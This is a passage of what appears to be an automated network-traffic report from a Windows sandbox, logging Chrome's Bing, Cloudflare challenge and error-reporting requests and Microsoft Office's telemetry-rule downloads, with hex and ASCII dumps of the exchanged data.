2024-10-07 19:53:11 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-10-07 19:53:12 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 614E0033FA174C71825B42CD1A3ED737 Ref B: LAX311000108023 Ref C: 2024-10-07T19:53:12Z Date: Mon, 07 Oct 2024 19:53:12 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.24ed0117.1728330792.170fcbcd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49773	35.190.80.1	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:12 UTC	534	OUT	OPTIONS /report/v4?s=syntGHM6%2FxT4o5haIEW%2FZlLH8bZr7lHpTxahJA%2BIqTEy1eaCqmUqTy9py8oVNKoCOunBu5ArSc529ynU2LY6Qgq3xHFJZ5HHmU95Sn3mIgS%2F7cc0Ueo3fSnEXAhyFQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://z2k.3kf2d.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:12 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Mon, 07 Oct 2024 19:53:11 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49772	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:12 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:12 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f57b7c9f-801e-00a0-4a13-172196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195312Z-1657d5bbd48xdq5dkwwugdpzr0000000045g00000000z52m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:12 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49776	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:12 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8cf06f880e728cca/1728330790898/ca8c68f2a7b93f93df34c1c353433d1ad186e591e099c3fbe8a9c588c1891448/B4-hUFc8y4U4H53 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:12 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Mon, 07 Oct 2024 19:53:12 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-10-07 19:53:12 UTC	1985	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 79 6f 78 6f 38 71 65 35 50 35 50 66 4e 4d 48 44 55 30 4d 39 47 74 47 47 35 5a 48 67 6d 63 50 37 36 4b 6e 46 69 4d 47 4a 46 45 67 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gyoxo8qe5P5PfNMHDU0M9GtGG5ZHgmcP76KnFiMGJFEgAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-10-07 19:53:12 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49775	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:12 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:12 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 81e42967-c01e-0014-5ee9-16a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195312Z-1657d5bbd48jwrqbupe3ktsx9w000000046g000000007vuh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:12 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49774	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:12 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:12 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 6be05283-001e-00a2-2700-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195312Z-1657d5bbd48sqtlf1huhzuwq7000000003pg00000000fu96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:12 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49779	104.18.94.41	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:12 UTC	485	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/43059607:1728329420:dJcmetAgVMGocae_3f1dALRtljbtG0HRRs5hSvYZXJY/8cf06f880e728cca/3da04d461641d1a HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:12 UTC	349	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 19:53:12 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: Esk9DY4wpaQWTDOa3K+dy51lz3zGuepkg+Y=$JHt2FjHCIWj6cNla cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8cf06f9ceddbc452-EWR
2024-10-07 19:53:12 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49777	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:12 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:12 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 40323690-a01e-0002-0100-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195312Z-1657d5bbd48qjg85buwfdynm5w000000040000000000mgu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:12 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49778	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:12 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: c530354f-501e-0016-5013-17181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195312Z-1657d5bbd48dfrdj7px744zp8s00000003kg00000000y0pv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49780	35.190.80.1	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:12 UTC	478	OUT	POST /report/v4?s=syntGHM6%2FxT4o5haIEW%2FZlLH8bZr7lHpTxahJA%2BIqTEy1eaCqmUqTy9py8oVNKoCOunBu5ArSc529ynU2LY6Qgq3xHFJZ5HHmU95Sn3mIgS%2F7cc0Ueo3fSnEXAhyFQ%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 422 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:12 UTC	422	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 33 32 39 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 7a 32 6b 2e 33 6b 66 32 64 2e 63 6f 6d 2f 69 6c 50 48 64 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 30 2e 32 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 Data Ascii: [{"age":0,"body":{"elapsed_time":1329,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://z2k.3kf2d.com/ilPHd/","sampling_fraction":1.0,"server_ip":"104.21.30.20","status_code":404,"type":"http.error"},"type":"network-error","ur
2024-10-07 19:53:12 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Mon, 07 Oct 2024 19:53:12 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49781	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:12 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:13 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 7cec3a6f-e01e-0033-3414-174695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195313Z-1657d5bbd48brl8we3nu8cxwgn000000046000000000sypy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:13 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49783	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:13 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d415a278-e01e-0051-6efe-1684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195313Z-1657d5bbd48tnj6wmberkg2xy8000000043g000000003edh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49782	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:13 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:13 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 7c825ef0-601e-0001-5f02-17faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195313Z-1657d5bbd48qjg85buwfdynm5w000000041g00000000daue x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
